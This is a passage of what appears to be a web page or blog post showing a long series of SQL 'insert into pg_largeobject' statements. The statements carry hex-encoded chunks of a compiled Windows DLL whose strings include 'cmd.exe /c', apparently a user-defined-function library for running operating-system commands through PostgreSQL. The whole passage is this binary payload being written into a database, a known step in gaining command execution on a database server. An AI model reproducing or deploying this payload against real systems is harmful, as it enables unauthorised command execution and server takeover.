cc40554883ec20488bea488b4d58e8ff4cffff904883c4205dc3cc40554883ec20488beab9050000004883c4205de97f6bffffcc40554883ec20488bea33c94883c4205de9696bffffcc40554883ec20488bea807d7000740bb903000000e84f6bffff904883c4205dc3cc40554883ec20488bea488b45588b084883c4205de92e6bffffcc40554883ec40488bea837d4000743d837d44007428488b8580000000486308488bc148c1f806488d15a8ba000083e13f488d0cc9488b04c28064c838fe488b85800000008b08e8a2a7ffff904883c4405dc3cc40554883ec20488beab9040000004883c4205de9c26affffcc40554883ec20488bea488b018138050000c0740c81381d0000c0740433c0eb05b8010000004883c4205dc3cccccccccccccccccccccccccccc40554883ec20488bea488b0133c98138050000c00f94c18bc14883c4205dc3cc0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ec4010000000000aac601000000000012c101000000000026c101000000000040c101000000000054c101000000000070c10100000000008ec1010000000000a2c1010000000000b6c1010000000000d2c1010000000000ecc101000000000002c201000000000018c201000000000032c201000000000048c20100000000005cc20100000000006ec201000000000082c201000000000090c2010000000000a8c2010000000000b8c2010000000000c8c2010000000000e0c2010000000000f8c201000000000010c301000000000038c301000000000044c301000000000052c301000000000060c30100000000006ac301000000000078c30100000000008ac30100000000009cc3010000000000aec3010000000000bac3010000000000c8c3010000000000dac3010000000000ecc3010000000000fac301000000000010c401000000000026c401000000000032c40100000000004cc401000000000062c401000000000078c401000000000090c4010000000000a0c4010000000000aec4010000000000c0c4010000000000d0c4010000000000e4c4010000000000f2c4010000000000fec401000000000012c501000000000022c501000000000034c50100000000003ec50100000000004ac501000000000056c501000000000068c50100000000007ac501000000000090c5010000000000a6c5010000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">36</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;c0c5010000000000dac5010000000000f4c501000000000006c601000000000016c601000000000028c601000000000038c60100000000004cc601000000000058c60100000000006ec60100000000007cc601000000000088c60100000000009ac60100000000000000000000000000f0c0010000000000e8c00100000000000000000000000000ec20008001000000ec20008001000000c024018001000000e024018001000000e02401800100000000000000000000000000000000000000000000000000000080730080010000000403018001000000d80f018001000000201b0180010000000000000000000000000000000000000000c8008001000000f017018001000000a07400800100000000000000000000000000000000000000000000000000000000000000000000001c0000008503000064000000200000004000000001000000000000000100000001000000010000007200000000000000303132333435363738394142434445460000000072620000000000000000000050da018001000000f0da018001000000fffffffffffffffffffffffffffffffffc2b0080010000000000000000000000b03a0180010000000800000000000000c03a0180010000000700000000000000c83a0180010000000800000000000000d83a0180010000000900000000000000e83a0180010000000a00000000000000f83a0180010000000a00000000000000083b0180010000000c00000000000000183b0180010000000900000000000000243b0180010000000600000000000000303b0180010000000900000000000000403b0180010000000900000000000000503b0180010000000700000000000000583b0180010000000a00000000000000683b0180010000000b00000000000000783b0180010000000900000000000000823b0180010000000000000000000000843b0180010000000400000000000000903b0180010000000700000000000000983b01800100000001000000000000009c3b0180010000000200000000000000a03b0180010000000200000000000000a43b0180010000000100000000000000a83b0180010000000200000000000000ac3b0180010000000200000000000000b03b0180010000000200000000000000b83b0180010000000800000000000000c43b0180010000000200000000000000c83b0180010000000100000000000000cc3b0180010000000200000000000000d03b0180010000000200000000000000d43b0180010000000100000000000000d83b0180010000000100000000000000dc3b0180010000000100000000000000e03b0180010000000300000000000000e43b0180010000000100000000000000e83b0180010000000100000000000000ec3b0180010000000100000000000000f03b0180010000000200000000000000f43b0180010000000100000000000000f83b0180010000000200000000000000fc3b0180010000000100000000000000003c0180010000000200000000000000043c0180010000000100000000000000083c01800100000001000000000000000c3c0180010000000100000000000000103c0180010000000200000000000000143c0180010000000200000000000000183c01800100000002000000000000001c3c0180010000000200000000000000203c0180010000000200000000000000243c0180010000000200000000000000283c01800100000002000000000000002c3c0180010000000300000000000000303c0180010000000300000000000000343c0180010000000200000000000000383c01800100000002000000000000003c3c0180010000000200000000000000403c0180010000000900000000000000503c0180010000000900000000000000603c0180010000000700000000000000683c0180010000000800000000000000783c0180010000001400000000000000903c0180010000000800000000000000a03c0180010000001200000000000000b83c0180010000001c00000000000000d83c0180010000001d00000000000000f83c0180010000001c00000000000000183d0180010000001d00000000000000383d0180010000001c00000000000000583d0180010000002300000000000000803d0180010000001a00000000000000a03d0180010000002000000000000000c83d0180010000001f00000000000000e83d0180010000002600000000000000103e0180010000001a00000000000000303e0180010000000f00000000000000403e0180010000000300000000000000443e0180010000000500000000000000503e0180010000000f00000000000000603e0180010000002300000000000000843e0180010000000600000000000000903e0180010000000900000000000000a03e0180010000000e00000000000000b03e0180010000001a00000000000000d03e0180010000001c00000000000000f03e0180010000002500000000000000183f0180010000002400000000000000403f0180010000002500000000000000683f0180010000002b00000000000000983f0180010000001a00000000000000b83f0180010000002000000000000000e03f01800100000022000000000000000840018001000000280000000000000038400180010000002a0000000000000068400180010000001b0000000000000088400180010000000c0000000000000098400180010000001100000000000000b0400180010000000b00000000000000823b0180010000000000000000000000c0400180010000001100000000000000d8400180010000001b00000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">37</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;f840018001000000120000000000000010410180010000001c0000000000000030410180010000001900000000000000823b0180010000000000000000000000c83b0180010000000100000000000000dc3b0180010000000100000000000000103c0180010000000200000000000000083c0180010000000100000000000000e83b0180010000000100000000000000903c0180010000000800000000000000504101800100000015000000000000005f5f62617365642800000000000000005f5f636465636c005f5f70617363616c00000000000000005f5f73746463616c6c000000000000005f5f7468697363616c6c0000000000005f5f6661737463616c6c0000000000005f5f766563746f7263616c6c000000005f5f636c7263616c6c0000005f5f656162690000000000005f5f73776966745f31000000000000005f5f73776966745f32000000000000005f5f7074723634005f5f72657374726963740000000000005f5f756e616c69676e65640000000000726573747269637428000000206e657700000000000000002064656c657465003d0000003e3e00003c3c0000210000003d3d0000213d00005b5d0000000000006f70657261746f72000000002d3e00002a0000002b2b00002d2d00002d0000002b000000260000002d3e2a002f000000250000003c0000003c3d00003e0000003e3d00002c000000282900007e0000005e0000007c000000262600007c7c00002a3d00002b3d00002d3d00002f3d0000253d00003e3e3d003c3c3d00263d00007c3d00005e3d00006076667461626c6527000000000000006076627461626c652700000000000000607663616c6c270060747970656f66270000000000000000606c6f63616c20737461746963206775617264270000000060737472696e672700000000000000006076626173652064657374727563746f722700000000000060766563746f722064656c6574696e672064657374727563746f7227000000006064656661756c7420636f6e7374727563746f7220636c6f7375726527000000607363616c61722064656c6574696e672064657374727563746f72270000000060766563746f7220636f6e7374727563746f72206974657261746f722700000060766563746f722064657374727563746f72206974657261746f72270000000060766563746f7220766261736520636f6e7374727563746f72206974657261746f72270000000000607669727475616c20646973706c6163656d656e74206d61702700000000000060656820766563746f7220636f6e7374727563746f72206974657261746f7227000000000000000060656820766563746f722064657374727563746f72206974657261746f72270060656820766563746f7220766261736520636f6e7374727563746f72206974657261746f7227000060636f707920636f6e7374727563746f7220636c6f7375726527000000000000607564742072657475726e696e67270060454800605254544900000000000000606c6f63616c2076667461626c652700606c6f63616c2076667461626c6520636f6e7374727563746f7220636c6f737572652700206e65775b5d0000000000002064656c6574655b5d00000000000000606f6d6e692063616c6c73696727000060706c6163656d656e742064656c65746520636c6f737572652700000000000060706c6163656d656e742064656c6574655b5d20636c6f737572652700000000606d616e6167656420766563746f7220636f6e7374727563746f72206974657261746f7227000000606d616e6167656420766563746f722064657374727563746f72206974657261746f72270000000060656820766563746f7220636f707920636f6e7374727563746f72206974657261746f722700000060656820766563746f7220766261736520636f707920636f6e7374727563746f72206974657261746f722700000000006064796e616d696320696e697469616c697a657220666f7220270000000000006064796e616d6963206174657869742064657374727563746f7220666f722027000000000000000060766563746f7220636f707920636f6e7374727563746f72206974657261746f722700000000000060766563746f7220766261736520636f707920636f6e7374727563746f72206974657261746f72270000000000000000606d616e6167656420766563746f7220636f707920636f6e7374727563746f72206974657261746f7227000000000000606c6f63616c20737461746963207468726561642067756172642700000000006f70657261746f7220222220000000006f70657261746f7220636f5f6177616974000000000000006f70657261746f723c3d3e000000000020547970652044657363726970746f722700000000000000204261736520436c6173732044657363726970746f7220617420280000000000204261736520436c6173732041727261792700000000000020436c617373204869657261726368792044657363726970746f72270000000020436f6d706c657465204f626a656374204c6f6361746f72270000000000000060616e6f6e796d6f7573206e616d657370616365270000008041018001000000c04101800100000000420180010000006100700069002d006d0073002d00770069006e002d0063006f00720065002d006600690062006500720073002d006c0031002d0031002d0031000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d00730079006e00630068002d006c0031002d0032002d0030000000000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">38</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;6b00650072006e0065006c003300320000000000000000006100700069002d006d0073002d0000000000000002000000466c73416c6c6f6300000000000000000000000002000000466c7346726565000000000002000000466c7347657456616c756500000000000000000002000000466c7353657456616c756500000000000100000002000000496e697469616c697a65437269746963616c53656374696f6e45780000000000434f4d5350454300636d642e657865002f63000000000000636d642e65786500202f632000000000434f4d53504543005c0000005041544800000000000000000000000000000000050000c00b00000000000000000000001d0000c0040000000000000000000000960000c00400000000000000000000008d0000c00800000000000000000000008e0000c00800000000000000000000008f0000c0080000000000000000000000900000c0080000000000000000000000910000c0080000000000000000000000920000c0080000000000000000000000930000c0080000000000000000000000b40200c0080000000000000000000000b50200c00800000000000000000000000c00000000000000030000000000000009000000000000006d00730063006f007200650065002e0064006c006c000000436f724578697450726f636573730000105a00800100000000000000000000005c5a008001000000000000000000000070c0008001000000a4c0008001000000485a008001000000485a0080010000000c930080010000007093008001000000e8c000800100000004c100800100000000000000000000009c5a008001000000249e008001000000609e008001000000a87b008001000000e47b0080010000002cb4008001000000485a00800100000068b000800100000000000000000000000000000000000000485a0080010000000000000000000000e45a0080010000000000000000000000a45a008001000000485a0080010000004c5a008001000000245a008001000000485a0080010000000100000016000000020000000200000003000000020000000400000018000000050000000d0000000600000009000000070000000c000000080000000c000000090000000c0000000a000000070000000b000000080000000c000000160000000d000000160000000f00000002000000100000000d00000011000000120000001200000002000000210000000d0000003500000002000000410000000d00000043000000020000005000000011000000520000000d000000530000000d0000005700000016000000590000000b0000006c0000000d0000006d00000020000000700000001c0000007200000009000000800000000a000000810000000a00000082000000090000008300000016000000840000000d00000091000000290000009e0000000d000000a100000002000000a40000000b000000a70000000d000000b700000011000000ce00000002000000d70000000b000000590400002a000000180700000c0000002e5c0000000000002e636f6d002e657865002e626174002e636d6400636373005554462d380000005554462d31364c45554e49434f444500b046018001000000c046018001000000d046018001000000e0460180010000006a0061002d004a0050000000000000007a0068002d0043004e000000000000006b006f002d004b0052000000000000007a0068002d005400570000000000000090470180010000008041018001000000d04701800100000010480180010000006048018001000000c0480180010000001049018001000000c04101800100000050490180010000009049018001000000d049018001000000104a018001000000604a018001000000c04a018001000000104b018001000000604b0180010000000042018001000000784b018001000000904b018001000000d84b0180010000006100700069002d006d0073002d00770069006e002d0063006f00720065002d006400610074006500740069006d0065002d006c0031002d0031002d00310000006100700069002d006d0073002d00770069006e002d0063006f00720065002d00660069006c0065002d006c0031002d0032002d003200000000000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d006c006f00630061006c0069007a006100740069006f006e002d006c0031002d0032002d003100000000000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d006c006f00630061006c0069007a006100740069006f006e002d006f00620073006f006c006500740065002d006c0031002d0032002d00300000000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d00700072006f00630065007300730074006800720065006100640073002d006c0031002d0031002d0032000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d0073007400720069006e0067002d006c0031002d0031002d0030000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d0073007900730069006e0066006f002d006c0031002d0032002d003100000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d00770069006e00720074002d006c0031002d0031002d00300000000000000000006100700069002d006d0073002d00770069006e002d0063006f00720065002d007800730074006100740065002d006c00&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">39</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;32002d0031002d0030000000000000006100700069002d006d0073002d00770069006e002d007200740063006f00720065002d006e00740075007300650072002d00770069006e0064006f0077002d006c0031002d0031002d003000000000006100700069002d006d0073002d00770069006e002d00730065006300750072006900740079002d00730079007300740065006d00660075006e006300740069006f006e0073002d006c0031002d0031002d0030000000000000000000000000006500780074002d006d0073002d00770069006e002d006e00740075007300650072002d006400690061006c006f00670062006f0078002d006c0031002d0031002d0030000000000000000000000000006500780074002d006d0073002d00770069006e002d006e00740075007300650072002d00770069006e0064006f007700730074006100740069006f006e002d006c0031002d0031002d003000000000006100640076006100700069003300320000000000000000006e00740064006c006c0000000000000000000000000000006100700069002d006d0073002d00770069006e002d006100700070006d006f00640065006c002d00720075006e00740069006d0065002d006c0031002d0031002d00320000000000750073006500720033003200000000006500780074002d006d0073002d000000100000000000000041726546696c6541706973414e5349000600000010000000436f6d70617265537472696e674578000100000010000000010000001000000001000000100000000100000010000000070000001000000003000000100000004c434d6170537472696e67457800000003000000100000004c6f63616c654e616d65546f4c4349440000000012000000417070506f6c69637947657450726f636573735465726d696e6174696f6e4d6574686f6400000000704f018001000000744f018001000000784f0180010000007c4f018001000000804f018001000000844f018001000000884f0180010000008c4f018001000000944f018001000000a04f018001000000a84f018001000000b84f018001000000c44f018001000000d04f018001000000dc4f018001000000e04f018001000000e44f018001000000e84f018001000000ec4f018001000000f04f018001000000f44f018001000000f84f018001000000fc4f0180010000000050018001000000045001800100000008500180010000001050018001000000185001800100000024500180010000002c50018001000000ec4f01800100000034500180010000003c5001800100000044500180010000005050018001000000605001800100000068500180010000007850018001000000845001800100000088500180010000009050018001000000a050018001000000b8500180010000000100000000000000c850018001000000d050018001000000d850018001000000e050018001000000e850018001000000f050018001000000f8500180010000000051018001000000105101800100000020510180010000003051018001000000485101800100000060510180010000007051018001000000885101800100000090510180010000009851018001000000a051018001000000a851018001000000b051018001000000b851018001000000c051018001000000c851018001000000d051018001000000d851018001000000e051018001000000e851018001000000f85101800100000010520180010000002052018001000000a851018001000000305201800100000040520180010000005052018001000000605201800100000078520180010000008852018001000000a052018001000000b452018001000000bc52018001000000c852018001000000e0520180010000000853018001000000205301800100000053756e004d6f6e00547565005765640054687500467269005361740053756e64617900004d6f6e64617900000000000054756573646179005765646e6573646179000000000000005468757273646179000000004672696461790000000000005361747572646179000000004a616e00466562004d617200417072004d6179004a756e004a756c0041756700536570004f6374004e6f760044656300000000004a616e75617279004665627275617279000000004d61726368000000417072696c0000004a756e65000000004a756c790000000041756775737400000000000053657074656d626572000000000000004f63746f626572004e6f76656d6265720000000000000000446563656d62657200000000414d0000504d0000000000004d4d2f64642f79790000000000000000646464642c204d4d4d4d2064642c2079797979000000000048483a6d6d3a73730000000000000000530075006e0000004d006f006e00000054007500650000005700650064000000540068007500000046007200690000005300610074000000530075006e00640061007900000000004d006f006e0064006100790000000000540075006500730064006100790000005700650064006e0065007300640061007900000000000000540068007500720073006400610079000000000000000000460072006900640061007900000000005300610074007500720064006100790000000000000000004a0061006e00000046006500620000004d0061007200000041007000720000004d006100790000004a0075006e0000004a0075006c000000410075006700000053006500700000004f006300740000004e006f007600000044006500630000004a0061006e00750061007200790000004600650062007200&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">40</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;750061007200790000000000000000004d00610072006300680000000000000041007000720069006c000000000000004a0075006e00650000000000000000004a0075006c007900000000000000000041007500670075007300740000000000530065007000740065006d006200650072000000000000004f00630074006f0062006500720000004e006f00760065006d00620065007200000000000000000044006500630065006d006200650072000000000041004d000000000050004d0000000000000000004d004d002f00640064002f0079007900000000000000000064006400640064002c0020004d004d004d004d002000640064002c00200079007900790079000000480048003a006d006d003a0073007300000000000000000065006e002d0055005300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000200020002000200020002000200020002800280028002800280020002000200020002000200020002000200020002000200020002000200020002000200048001000100010001000100010001000100010001000100010001000100010008400840084008400840084008400840084008400100010001000100010001000100081008100810081008100810001000100010001000100010001000100010001000100010001000100010001000100010001000100100010001000100010001000820082008200820082008200020002000200020002000200020002000200020002000200020002000200020002000200020002001000100010001000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f406162636465666768696a6b6c6d6e6f707172737475767778797a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f604142434445464748494a4b4c4d4e4f505152535455565758595a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff3d000000000000000000000000000000010000000000000080670180010000000200000000000000886701800100000003000000000000009067018001000000040000000000000098670180010000000500000000000000a8670180010000000600000000000000b0670180010000000700000000000000b8670180010000000800000000000000c0670180010000000900000000000000c8670180010000000a00000000000000d0670180010000000b00000000000000d8670180010000000c00000000000000e067018001000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">41</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;0d00000000000000e8670180010000000e00000000000000f0670180010000000f00000000000000f8670180010000001000000000000000006801800100000011000000000000000868018001000000120000000000000010680180010000001300000000000000186801800100000014000000000000002068018001000000150000000000000028680180010000001600000000000000306801800100000018000000000000003868018001000000190000000000000040680180010000001a0000000000000048680180010000001b0000000000000050680180010000001c0000000000000058680180010000001d0000000000000060680180010000001e0000000000000068680180010000001f00000000000000706801800100000020000000000000007868018001000000210000000000000080680180010000002200000000000000886801800100000023000000000000009068018001000000240000000000000098680180010000002500000000000000a0680180010000002600000000000000a8680180010000002700000000000000b0680180010000002900000000000000b8680180010000002a00000000000000c0680180010000002b00000000000000c8680180010000002c00000000000000d0680180010000002d00000000000000d8680180010000002f00000000000000e0680180010000003600000000000000e8680180010000003700000000000000f0680180010000003800000000000000f868018001000000390000000000000000690180010000003e0000000000000008690180010000003f000000000000001069018001000000400000000000000018690180010000004100000000000000206901800100000043000000000000002869018001000000440000000000000030690180010000004600000000000000386901800100000047000000000000004069018001000000490000000000000048690180010000004a0000000000000050690180010000004b0000000000000058690180010000004e0000000000000060690180010000004f0000000000000068690180010000005000000000000000706901800100000056000000000000007869018001000000570000000000000080690180010000005a000000000000008869018001000000650000000000000090690180010000007f0000000000000098690180010000000104000000000000a0690180010000000204000000000000b0690180010000000304000000000000c0690180010000000404000000000000e0460180010000000504000000000000d0690180010000000604000000000000e0690180010000000704000000000000f0690180010000000804000000000000006a018001000000090400000000000020530180010000000b04000000000000106a0180010000000c04000000000000206a0180010000000d04000000000000306a0180010000000e04000000000000406a0180010000000f04000000000000506a0180010000001004000000000000606a0180010000001104000000000000b0460180010000001204000000000000d0460180010000001304000000000000706a0180010000001404000000000000806a0180010000001504000000000000906a0180010000001604000000000000a06a0180010000001804000000000000b06a0180010000001904000000000000c06a0180010000001a04000000000000d06a0180010000001b04000000000000e06a0180010000001c04000000000000f06a0180010000001d04000000000000006b0180010000001e04000000000000106b0180010000001f04000000000000206b0180010000002004000000000000306b0180010000002104000000000000406b0180010000002204000000000000506b0180010000002304000000000000606b0180010000002404000000000000706b0180010000002504000000000000806b0180010000002604000000000000906b0180010000002704000000000000a06b0180010000002904000000000000b06b0180010000002a04000000000000c06b0180010000002b04000000000000d06b0180010000002c04000000000000e06b0180010000002d04000000000000f86b0180010000002f04000000000000086c0180010000003204000000000000186c0180010000003404000000000000286c0180010000003504000000000000386c0180010000003604000000000000486c0180010000003704000000000000586c0180010000003804000000000000686c0180010000003904000000000000786c0180010000003a04000000000000886c0180010000003b04000000000000986c0180010000003e04000000000000a86c0180010000003f04000000000000b86c0180010000004004000000000000c86c0180010000004104000000000000d86c0180010000004304000000000000e86c0180010000004404000000000000006d0180010000004504000000000000106d0180010000004604000000000000206d0180010000004704000000000000306d0180010000004904000000000000406d0180010000004a04000000000000506d0180010000004b04000000000000606d0180010000004c04000000000000706d0180010000004e04000000000000806d0180010000004f04000000000000906d0180010000005004000000000000a06d0180010000005204000000000000b06d0180010000005604000000000000c06d0180010000005704000000000000d06d0180010000005a04000000000000e06d0180010000006504000000000000f06d018001000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">42</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;6b04000000000000006e0180010000006c04000000000000106e0180010000008104000000000000206e0180010000000108000000000000306e0180010000000408000000000000c0460180010000000708000000000000406e0180010000000908000000000000506e0180010000000a08000000000000606e0180010000000c08000000000000706e0180010000001008000000000000806e0180010000001308000000000000906e0180010000001408000000000000a06e0180010000001608000000000000b06e0180010000001a08000000000000c06e0180010000001d08000000000000d86e0180010000002c08000000000000e86e0180010000003b08000000000000006f0180010000003e08000000000000106f0180010000004308000000000000206f0180010000006b08000000000000386f018001000000010c000000000000486f018001000000040c000000000000586f018001000000070c000000000000686f018001000000090c000000000000786f0180010000000a0c000000000000886f0180010000000c0c000000000000986f0180010000001a0c000000000000a86f0180010000003b0c000000000000c06f0180010000006b0c000000000000d06f0180010000000110000000000000e06f0180010000000410000000000000f06f01800100000007100000000000000070018001000000091000000000000010700180010000000a1000000000000020700180010000000c1000000000000030700180010000001a1000000000000040700180010000003b100000000000005070018001000000011400000000000060700180010000000414000000000000707001800100000007140000000000008070018001000000091400000000000090700180010000000a14000000000000a0700180010000000c14000000000000b0700180010000001a14000000000000c0700180010000003b14000000000000d8700180010000000118000000000000e8700180010000000918000000000000f8700180010000000a1800000000000008710180010000000c1800000000000018710180010000001a1800000000000028710180010000003b180000000000004071018001000000011c0000000000005071018001000000091c00000000000060710180010000000a1c00000000000070710180010000001a1c00000000000080710180010000003b1c00000000000098710180010000000120000000000000a8710180010000000920000000000000b8710180010000000a20000000000000c8710180010000003b20000000000000d8710180010000000124000000000000e8710180010000000924000000000000f8710180010000000a2400000000000008720180010000003b24000000000000187201800100000001280000000000002872018001000000092800000000000038720180010000000a280000000000004872018001000000012c0000000000005872018001000000092c00000000000068720180010000000a2c000000000000787201800100000001300000000000008872018001000000093000000000000098720180010000000a30000000000000a8720180010000000134000000000000b8720180010000000934000000000000c8720180010000000a34000000000000d8720180010000000138000000000000e8720180010000000a38000000000000f872018001000000013c00000000000008730180010000000a3c0000000000001873018001000000014000000000000028730180010000000a4000000000000038730180010000000a4400000000000048730180010000000a4800000000000058730180010000000a4c00000000000068730180010000000a500000000000007873018001000000047c00000000000088730180010000001a7c00000000000098730180010000006100720000000000620067000000000063006100000000007a0068002d004300480053000000000063007300000000006400610000000000640065000000000065006c000000000065006e000000000065007300000000006600690000000000660072000000000068006500000000006800750000000000690073000000000069007400000000006a006100000000006b006f00000000006e006c00000000006e006f000000000070006c0000000000700074000000000072006f00000000007200750000000000680072000000000073006b000000000073007100000000007300760000000000740068000000000074007200000000007500720000000000690064000000000075006b0000000000620065000000000073006c000000000065007400000000006c007600000000006c0074000000000066006100000000007600690000000000680079000000000061007a000000000065007500000000006d006b000000000061006600000000006b0061000000000066006f000000000068006900000000006d007300000000006b006b00000000006b00790000000000730077000000000075007a0000000000740074000000000070006100000000006700750000000000740061000000000074006500000000006b006e00000000006d0072000000000073006100000000006d006e000000000067006c00000000006b006f006b000000730079007200000064006900760000000000000000000000610072002d0053004100000000000000620067002d0042004700000000000000630061002d0045005300000000000000630073002d0043005a00000000000000640061002d0044004b00000000000000640065002d0044004500000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">43</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;65006c002d0047005200000000000000660069002d0046004900000000000000660072002d0046005200000000000000680065002d0049004c00000000000000680075002d0048005500000000000000690073002d0049005300000000000000690074002d00490054000000000000006e006c002d004e004c000000000000006e0062002d004e004f0000000000000070006c002d0050004c00000000000000700074002d004200520000000000000072006f002d0052004f00000000000000720075002d0052005500000000000000680072002d004800520000000000000073006b002d0053004b00000000000000730071002d0041004c00000000000000730076002d0053004500000000000000740068002d0054004800000000000000740072002d0054005200000000000000750072002d0050004b00000000000000690064002d004900440000000000000075006b002d0055004100000000000000620065002d004200590000000000000073006c002d0053004900000000000000650074002d00450045000000000000006c0076002d004c0056000000000000006c0074002d004c005400000000000000660061002d0049005200000000000000760069002d0056004e00000000000000680079002d0041004d0000000000000061007a002d0041005a002d004c00610074006e0000000000650075002d00450053000000000000006d006b002d004d004b0000000000000074006e002d005a004100000000000000780068002d005a0041000000000000007a0075002d005a004100000000000000610066002d005a0041000000000000006b0061002d004700450000000000000066006f002d0046004f00000000000000680069002d0049004e000000000000006d0074002d004d005400000000000000730065002d004e004f000000000000006d0073002d004d0059000000000000006b006b002d004b005a000000000000006b0079002d004b004700000000000000730077002d004b00450000000000000075007a002d0055005a002d004c00610074006e0000000000740074002d005200550000000000000062006e002d0049004e00000000000000700061002d0049004e00000000000000670075002d0049004e00000